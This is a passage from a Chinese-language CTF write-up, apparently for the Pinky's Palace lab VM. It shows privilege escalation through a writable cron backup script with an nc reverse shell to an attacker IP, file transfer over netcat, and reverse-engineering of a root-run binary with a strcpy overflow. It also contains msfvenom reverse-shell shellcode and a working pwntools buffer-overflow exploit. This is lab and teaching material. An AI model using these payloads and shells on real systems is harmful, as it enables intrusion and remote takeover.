&#039;\/proc|\/sys|\/run&#039;<\/code><\/pre>\n<p>\u53d1\u73b0\u4e00\u4e2a<code>\/usr\/local\/bin\/backup.sh<\/code>\u6587\u4ef6\uff0c\u5c1d\u8bd5\u5229\u7528\uff1a<\/p>\n<pre><code class=\"language-bash\">cat \/usr\/local\/bin\/backup.sh<\/code><\/pre>\n<pre><code class=\"language-text\">#!\/bin\/bash\n\nrm \/home\/demon\/backups\/backup.tar.gz\ntar cvzf \/home\/demon\/backups\/backup.tar.gz \/var\/www\/html\n#\n#\n#<\/code><\/pre>\n<p>\u770b\u4e0a\u53bb\u662f\u4e00\u4e2a\u5907\u4efd\u7684\u6587\u4ef6\uff0c\u53ef\u80fd\u5b58\u5728\u5b9a\u65f6\u4efb\u52a1\uff0c\u5c1d\u8bd5\u8fdb\u884c\u5199\u5165\u5229\u7528\uff1a<\/p>\n<pre><code class=\"language-bash\"># add to \/usr\/local\/bin\/backup.sh\nnc -e \/bin\/bash 192.168.244.128 2345<\/code><\/pre>\n<pre><code class=\"language-bash\"># kali\nnc -lvnp 2345<\/code><\/pre>\n<p>\u7b49\u4e00\u4e0b\uff0c\u7b49\u4ed6\u6267\u884c\u5b9a\u65f6\u4efb\u52a1\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747032.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747032.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240227000528687\" \/><\/div><\/p>\n<p>ok\uff0c\u83b7\u5f97\u4e86<code>demon<\/code>\u7528\u6237\u3002<\/p>\n<h3>\u83b7\u53d6\u6587\u4ef6<\/h3>\n<p>\u5207\u6362\u5230\u65b9\u4fbf\u4e00\u5b9a\u7684<code>shell<\/code>\uff1a<\/p>\n<pre><code class=\"language-bash\">python -c &#039;import pty;pty.spawn(&quot;\/bin\/bash&quot;)&#039;<\/code><\/pre>\n<p>\u641c\u7d22\u53ef\u5229\u7528\u6587\u4ef6\uff1a<\/p>\n<pre><code class=\"language-bash\">2&gt;\/dev\/null find \/ -user demon | grep -Ev &#039;\/proc|\/sys|\/user&#039;<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747033.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747033.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240227001016958\" style=\"zoom: 50%;\" \/><\/div><\/p>\n<p>\u770b\u5230\u4e00\u4e2a\u6709\u610f\u601d\u7684\u4e8c\u8fdb\u5236\u6587\u4ef6\uff0c\u67e5\u770b\u4e00\u4e0b\uff1a<\/p>\n<pre><code class=\"language-bash\">cd \/daemon;ps -ef | grep panel<\/code><\/pre>\n<pre><code class=\"language-text\">root        463      1  0 02:21 ?        00:00:00 \/daemon\/panel\nroot       1545    463  0 04:38 ?        00:00:00 \/daemon\/panel\ndemon     15409  15313  0 08:12 pts\/0    00:00:00 grep panel<\/code><\/pre>\n<p>\u53ef\u4ee5\u770b\u5230\u662f<code>root<\/code>\u6743\u9650\uff01\uff01\uff01<\/p>\n<p>\u4f20\u8fc7\u6765\u5206\u6790\u4e00\u4e0b\uff1a<\/p>\n<pre><code class=\"language-bash\"># kali\nnc -lvnp 3456 &gt; panel\n# demon\nnc 192.168.244.128 3456 &lt; panel<\/code><\/pre>\n<h3>panel\u6587\u4ef6\u5206\u6790<\/h3>\n<p><code>IDA<\/code>\u6253\u5f00\u770b\u4e00\u4e0b\u76f8\u5173\u51fd\u6570\u903b\u8f91\uff1a<\/p>\n<pre><code class=\"language-c\">int __cdecl __noreturn main(int argc, const char **argv, const char **envp)\n{\n  char buf; \/\/ [rsp+0h] [rbp-1050h]\n  socklen_t addr_len; \/\/ [rsp+100Ch] [rbp-44h]\n  struct sockaddr v5; \/\/ [rsp+1010h] [rbp-40h]\n  struct sockaddr addr; \/\/ [rsp+1020h] [rbp-30h]\n  int optval; \/\/ [rsp+103Ch] [rbp-14h]\n  int v8; \/\/ [rsp+1040h] [rbp-10h]\n  int fd; \/\/ [rsp+1044h] [rbp-Ch]\n  int v10; \/\/ [rsp+1048h] [rbp-8h]\n  __pid_t v11; \/\/ [rsp+104Ch] [rbp-4h]\n\n  while ( 1 )\n  {\n    v11 = fork();\n    if ( !v11 )\n      break;\n    wait(0LL);\n  }\n  v10 = 1;\n  optval = 1;\n  fd = socket(2, 1, 0);\n  if ( fd == -1 )\n    fatal(&quot;[-] Fail in socket&quot;, 1LL);\n  if ( setsockopt(fd, 1, 2, &amp;optval, 4u) == -1 )\n    fatal(&quot;setting sock options&quot;, 1LL);\n  addr.sa_family = 2;\n  *(_WORD *)addr.sa_data = htons(0x7A69u);\n  *(_DWORD *)&amp;addr.sa_data[2] = 0;\n  memset(&amp;addr.sa_data[6], 0, 8uLL);\n  if ( bind(fd, &amp;addr, 0x10u) == -1 )\n    fatal(&quot;binding to socket&quot;, &amp;addr);\n  if ( listen(fd, 5) == -1 )\n    fatal(&quot;listening&quot;, 5LL);\n  addr_len = 16;\n  v8 = accept(fd, &amp;v5, &amp;addr_len);\n  if ( v8 == -1 )\n    fatal(&quot;new sock failed&quot;, &amp;v5);\n  send(v8, &quot;[+] Welcome to The Daemon [+]\\n&quot;, 0x1FuLL, 0);\n  send(v8, &quot;This is soon to be our backdoor\\n&quot;, 0x21uLL, 0);\n  send(v8, &quot;into Pinky&#039;s Palace.\\n=&gt; &quot;, 0x19uLL, 0);\n  v10 = recv(v8, &amp;buf, 0x1000uLL, 0);\n  handlecmd(&amp;buf, (unsigned int)v8);\n  close(v8);\n  exit(0);\n}<\/code><\/pre>\n<pre><code class=\"language-c\">\/\/ handlecmd\nssize_t __fastcall handlecmd(const char *a1, int a2)\n{\n  size_t v2; \/\/ rax\n  char dest; \/\/ [rsp+10h] [rbp-70h]\n\n  strcpy(&amp;dest, a1);     \/\/strcpy\u53ef\u80fd\u5b58\u5728\u6ea2\u51fa\u6f0f\u6d1e\n  v2 = strlen(&amp;dest);\n  return send(a2, &amp;dest, v2, 0);\n}<\/code><\/pre>\n<p>\u770b\u4e0a\u53bb\u662f\u4e00\u5f00\u59cb\u6211\u4eec\u78b0\u5230\u7684\u6302\u8f7d\u5728\u67d0\u4e2a\u7aef\u53e3\u7684\u90a3\u4e2a\u4e8c\u8fdb\u5236\u7a0b\u5e8f\uff01\uff01\uff01<\/p>\n<h3>pwn the panel<\/h3>\n<p>\u67e5\u770b\u4e00\u4e0b\u6709\u5565\u4fdd\u62a4\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747034.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747034.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240227004758106\" \/><\/div><\/p>\n<p>\u53ef\u4ee5\u5c1d\u8bd5\u6ea2\u51fa\u6f0f\u6d1e\u653b\u51fb\u7684\u3002\u3002<\/p>\n<h3>gdb-peda \u5206\u6790<\/h3>\n<p>\u5148\u770b\u4e00\u4e0b\u76f8\u5173\u4fe1\u606f\uff1a<\/p>\n<blockquote>\n<p>\u770b\u5230\u5e08\u5085\u7684blog\u6709\u8fd9\u6bb5\u63cf\u8ff0\uff1a<\/p>\n<p>\u6bcf\u6b21nc\u8fde\u63a5\u8f93\u5165\u540e\uff0c\u7a0b\u5e8f\u4f1a\u518d\u6b21\u521b\u5efa\u4e00\u4e2a\u5b50\u8fdb\u7a0b\u3002gdb\u9ed8\u8ba4\u8ddf\u8e2a\u7684\u662f\u7236\u8fdb\u7a0b\uff0c\u4f1a\u770b\u4e0d\u5230\u5b50\u8fdb\u7a0b\u7684\u5177\u4f53\u5185\u5bb9\u3002\u6240\u4ee5\u8ba9gdb\u8ddf\u8e2a\u5b50\u8fdb\u7a0b\uff0c\u518d\u5c06\u7236\u8fdb\u7a0b\u8bbe\u7f6e\u4e3a\u6682\u505c\u72b6\u6001\uff0c\u5c31\u4e0d\u7528\u53cd\u590d\u5173\u8fdb\u7a0b\u4e86<\/p>\n<\/blockquote>\n<pre><code class=\"language-bash\">set follow-fork-mode child\nset detach-on-fork off<\/code><\/pre>\n<ol>\n<li>\u5148\u4f7f\u7528<code>info function<\/code>\u67e5\u770b\u6ea2\u51fa\u51fd\u6570<\/li>\n<li><code>chmod 700 panel<\/code>\u8d4b\u4e88\u6743\u9650<\/li>\n<li><code>run<\/code>\u8fd0\u884c\u7a0b\u5e8f\uff0c\u67e5\u770b\u4e00\u4e0b\u662f\u5426\u8fd0\u884c\u4e86\uff1a<code>netstat -antlp<\/code>\uff0c\u5982\u679c\u5173\u95ed\u53ef\u4ee5\u4f7f\u7528<code>pkill -9 panel;pkill -i panel<\/code><\/li>\n<li><code>pattern_create 200<\/code> \u751f\u6210\u6d4b\u8bd5\u5b57\u7b26\u4e32<\/li>\n<li><code>disasseble handlecmd<\/code>\u62c6\u89e3\u51fd\u6570<\/li>\n<li><code>b *handlecmd+70<\/code>\u8bbe\u7f6e\u65ad\u70b9<\/li>\n<\/ol>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~]\n\u2514\u2500$ netstat -antlp\nActive Internet connections (servers and established)\nProto Recv-Q Send-Q Local Address           Foreign Address         State       PID\/Program name         \ntcp        0      0 0.0.0.0:31337           0.0.0.0:*               LISTEN      229003\/panel        <\/code><\/pre>\n<pre><code class=\"language-bash\">gdb-peda$ pattern_create 200\n&#039;AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA&#039;<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747035.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747035.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240227140001579\" style=\"zoom:50%;\" \/><\/div><\/p>\n<pre><code class=\"language-bash\">gdb-peda$ b *handlecmd+70\nBreakpoint 1 at 0x4009aa<\/code><\/pre>\n<pre><code class=\"language-bash\"># gdb-peda .\/panel\nstart\nb *handlecmd+70\nrun\n# kali\ngdb-peda \npattern create 256 pattern\ncat pattern | nc localhost 31337<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747036.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747036.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240227143511724\" \/><\/div><\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747037.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747037.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240227145152907\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u53d1\u73b0\u6ea2\u51fa\u4f4d\u7f6e\u5728120\u5904\u3002<\/p>\n<p>\u91cd\u65b0\u8fdb\u884c\u6ea2\u51fa\uff1a<\/p>\n<pre><code class=\"language-bash\"># gdb-peda .\/panel\ngdb-peda .\/panel\nstart\nb *handlecmd+70\nrun\n# kali\npkill -9 panel;pkill -i panel\npython -c &#039;print(&quot;A&quot;*120+&quot;B&quot;*6)&#039;|nc localhost 31337<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747038.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747038.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240227150241344\" \/><\/div><\/p>\n<h4>msfvenom\u751f\u6210<\/h4>\n<pre><code class=\"language-bash\">msfvenom -a x64 -p linux\/x64\/shell_reverse_tcp LHOST=192.168.244.128 LPORT=8888 -b &#039;\\x00&#039; -f python<\/code><\/pre>\n<pre><code class=\"language-bash\">[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload\nFound 4 compatible encoders\nAttempting to encode payload with 1 iterations of generic\/none\ngeneric\/none failed with Encoding failed due to a bad character (index=17, char=0x00)\nAttempting to encode payload with 1 iterations of x64\/xor\nx64\/xor succeeded with size 119 (iteration=0)\nx64\/xor chosen with final size 119\nPayload size: 119 bytes\nFinal size of python file: 597 bytes\nbuf =  b&quot;&quot;\nbuf += b&quot;\\x48\\x31\\xc9\\x48\\x81\\xe9\\xf6\\xff\\xff\\xff\\x48\\x8d&quot;\nbuf += b&quot;\\x05\\xef\\xff\\xff\\xff\\x48\\xbb\\x44\\xc9\\x75\\x8c\\x5a&quot;\nbuf += b&quot;\\x04\\xa9\\x34\\x48\\x31\\x58\\x27\\x48\\x2d\\xf8\\xff\\xff&quot;\nbuf += b&quot;\\xff\\xe2\\xf4\\x2e\\xe0\\x2d\\x15\\x30\\x06\\xf6\\x5e\\x45&quot;\nbuf += b&quot;\\x97\\x7a\\x89\\x12\\x93\\xe1\\x8d\\x46\\xc9\\x57\\x34\\x9a&quot;\nbuf += b&quot;\\xac\\x5d\\xb4\\x15\\x81\\xfc\\x6a\\x30\\x14\\xf3\\x5e\\x6e&quot;\nbuf += b&quot;\\x91\\x7a\\x89\\x30\\x07\\xf7\\x7c\\xbb\\x07\\x1f\\xad\\x02&quot;\nbuf += b&quot;\\x0b\\xac\\x41\\xb2\\xa3\\x4e\\xd4\\xc3\\x4c\\x12\\x1b\\x26&quot;\nbuf += b&quot;\\xa0\\x1b\\xa3\\x29\\x6c\\xa9\\x67\\x0c\\x40\\x92\\xde\\x0d&quot;\nbuf += b&quot;\\x4c\\x20\\xd2\\x4b\\xcc\\x75\\x8c\\x5a\\x04\\xa9\\x34&quot;<\/code><\/pre>\n<p><code>-b &#039;\\x00&#039;<\/code>: \u6307\u5b9a\u8981\u907f\u514d\u7684\u5b57\u8282\u5e8f\u5217\uff0c\u8fd9\u91cc\u6307\u5b9a\u4e86 <code>\\x00<\/code>\uff08\u7a7a\u5b57\u8282\uff09\u3002<\/p>\n<p>rsp\u5730\u5740<code>0x400cfb<\/code>\u662f\u5c0f\u7aef\u683c\u5f0f\uff0c\u5728\u7f51\u7edc\u4e2d\u4f20\u8f93\u65f6\u5e94\u8be5\u7528\u5927\u7aef\u683c\u5f0f\u8868\u793a\uff0c\u811a\u672c\u4e2d\u4e3a\uff1a<code>\\xfb\\x0c\\x40\\x00\\x00\\x00<\/code><\/p>\n<p>\u4e0d\u4ec5\u8981\u62fc\u63a5<code>\\x90<\/code>\uff0c\u8fd8\u8981\u62fc\u63a5rsp\u5730\u5740\uff1a<\/p>\n<blockquote>\n<p>[ shellcode ] + [ \\x90 ] + [ \\xfb\\x0c\\x40\\x00 ] =&gt; 119 + 1 + 4 <\/p>\n<\/blockquote>\n<p>\u7f16\u5199python\u811a\u672c\uff1a<\/p>\n<pre><code class=\"language-python\">from pwn import *\n\nbuf =  b&quot;&quot;\nbuf += b&quot;\\x48\\x31\\xc9\\x48\\x81\\xe9\\xf6\\xff\\xff\\xff\\x48\\x8d&quot;\nbuf += b&quot;\\x05\\xef\\xff\\xff\\xff\\x48\\xbb\\x44\\xc9\\x75\\x8c\\x5a&quot;\nbuf += b&quot;\\x04\\xa9\\x34\\x48\\x31\\x58\\x27\\x48\\x2d\\xf8\\xff\\xff&quot;\nbuf += b&quot;\\xff\\xe2\\xf4\\x2e\\xe0\\x2d\\x15\\x30\\x06\\xf6\\x5e\\x45&quot;\nbuf += b&quot;\\x97\\x7a\\x89\\x12\\x93\\xe1\\x8d\\x46\\xc9\\x57\\x34\\x9a&quot;\nbuf += b&quot;\\xac\\x5d\\xb4\\x15\\x81\\xfc\\x6a\\x30\\x14\\xf3\\x5e\\x6e&quot;\nbuf += b&quot;\\x91\\x7a\\x89\\x30\\x07\\xf7\\x7c\\xbb\\x07\\x1f\\xad\\x02&quot;\nbuf += b&quot;\\x0b\\xac\\x41\\xb2\\xa3\\x4e\\xd4\\xc3\\x4c\\x12\\x1b\\x26&quot;\nbuf += b&quot;\\xa0\\x1b\\xa3\\x29\\x6c\\xa9\\x67\\x0c\\x40\\x92\\xde\\x0d&quot;\nbuf += b&quot;\\x4c\\x20\\xd2\\x4b\\xcc\\x75\\x8c\\x5a\\x04\\xa9\\x34\\x90&quot;\n\nret = p64(0x400cfb)\nprint (ret)\npayload = buf + ret\n\nr = remote(&quot;192.168.244.131&quot;, 31337)\nr.recv()\nr.send(payload)\nprint(&quot;fuck it over!&quot;)<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747039.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747039.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240227162503559\" \/><\/div><\/p>\n<p>\u83b7\u53d6\u5230\u4e86flag\uff01\uff01\uff01<\/p>\n<h3>gdb\u5206\u6790+ropper\uff08c0dedead\u5e08\u5085\u7684\u505a\u6cd5\uff09<\/h3>\n<p>\u590d\u73b0\u4e00\u4e0b<code>c0dedead<\/code>\u5e08\u5085\u7684\u505a\u6cd5\u53ea\u4e3a\u4e86\u5b66\u4e60\uff1a<\/p>\n<p>\u9996\u5148\u4f7f\u7528\u811a\u672c\u6d4b\u8bd5\u6613\u53d7\u653b\u51fb\u7f13\u51b2\u533a\u957f\u5ea6\uff1a<\/p>\n<pre><code class=\"language-python\">#!\/usr\/bin\/env python3\nfrom pwn import *\n\nHOST = &#039;localhost&#039;\nPORT = 31337\n\npwncode = cyclic(length=0x400,n=8)\npayload = pwncode\n\np = remote(HOST,PORT)\np.recvuntil(b&#039;=&gt; &#039;)\np.sendline(payload)\nprint(p.recvall().decode())<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747040.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747040.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240227163856514\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u7136\u540e\u5217\u51fa\u4e00\u4e0b<code>panel<\/code>\u5728\u7cfb\u7edf\u5185\u7684\u8fd0\u884c\u60c5\u51b5\uff1a<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/temp]\n\u2514\u2500$ coredumpctl list panel\nTIME                            PID  UID  GID SIG     COREFILE EXE                     SIZE\nTue 2024-02-27 03:38:40 EST 1505898 1000 1000 SIGSEGV present  \/home\/kali\/temp\/panel 103.2K<\/code><\/pre>\n<blockquote>\n<p><code>coredumpctl list<\/code>\u662f\u4e00\u4e2a\u7528\u4e8e\u5217\u51fa\u7cfb\u7edf\u4e2d\u7684<code>core dump<\/code>\u6587\u4ef6\u7684\u547d\u4ee4<\/p>\n<\/blockquote>\n<p>\u8fdb\u884c\u8c03\u8bd5\uff1a<\/p>\n<pre><code class=\"language-bash\">coredumpctl debug panel<\/code><\/pre>\n<p>\u4f1a\u81ea\u52a8\u542f\u52a8\u4e00\u4e2a<code>gdb<\/code>\u8fdb\u884c\u8c03\u8bd5:<\/p>\n<pre><code class=\"language-text\">(gdb) info reg                    --&gt;\u8f6c\u50a8\u5bc4\u5b58\u5668\u503c\nrax            0x401               1025\nrbx            0x7fffffffdeb8      140737488346808\nrcx            0x7ffff7ed1939      140737352898873\nrdx            0x401               1025\nrsi            0x7fffffffccd0      140737488342224\nrdi            0x4                 4\nrbp            0x616161616161616f  0x616161616161616f\nrsp            0x7fffffffcd48      0x7fffffffcd48\nr8             0x0                 0\nr9             0x0                 0\nr10            0x0                 0\nr11            0x246               582\nr12            0x0                 0\nr13            0x7fffffffdec8      140737488346824\nr14            0x0                 0\nr15            0x7ffff7ffd000      140737354125312\nrip            0x4009aa            0x4009aa &lt;handlecmd+70&gt;\neflags         0x10203             [ CF IF RF ]\ncs             0x33                51\nss             0x2b                43\nds             0x0                 0\nes             0x0                 0\nfs             0x0                 0\ngs             0x0                 0<\/code><\/pre>\n<p><code>rbp:0x616161616161616f<\/code>\u8f6c\u6362\u4e3a ASCII \u4e3a<code>paaaaaaa<\/code>\u3002<\/p>\n<p>\u67e5\u627e\u4e00\u4e0b\u504f\u79fb\u91cf\uff1a<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/temp]\n\u2514\u2500$ python3       \nPython 3.11.7 (main, Dec  8 2023, 14:22:46) [GCC 13.2.0] on linux\nType &quot;help&quot;, &quot;copyright&quot;, &quot;credits&quot; or &quot;license&quot; for more information.\n>&gt;&gt; from pwn import *\n>&gt;&gt; print(cyclic_find(&#039;paaaaaaa&#039;,n=8))\n120<\/code><\/pre>\n<p>\u5728<a href=\"https:\/\/shell-storm.org\/shellcode\/index.html\">shell-storm<\/a>\u68c0\u7d22<code>reversetcpshell<\/code>\uff0c\u627e\u4e00\u4e2a\u5927\u5c0f\u9002\u5408\u7684shellcode\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747041.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747041.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240227170935628\" style=\"zoom:50%;\" \/><\/div><\/p>\n<pre><code class=\"language-c\">\/*\nTitle   : reversetcpbindshell  (118 bytes)\nDate    : 04 October 2013\nAuthor  : Russell Willis &lt;codinguy@gmail.com&gt;\nTestd on: Linux\/x86_64 (SMP Debian 3.2.46-1+deb7u1 x86_64 GNU\/Linux)\n\n$ objdump -D reversetcpbindshell -M intel\nreversetcpbindshell:     file format elf64-x86-64\nDisassembly of section .text:\n\n0000000000400080 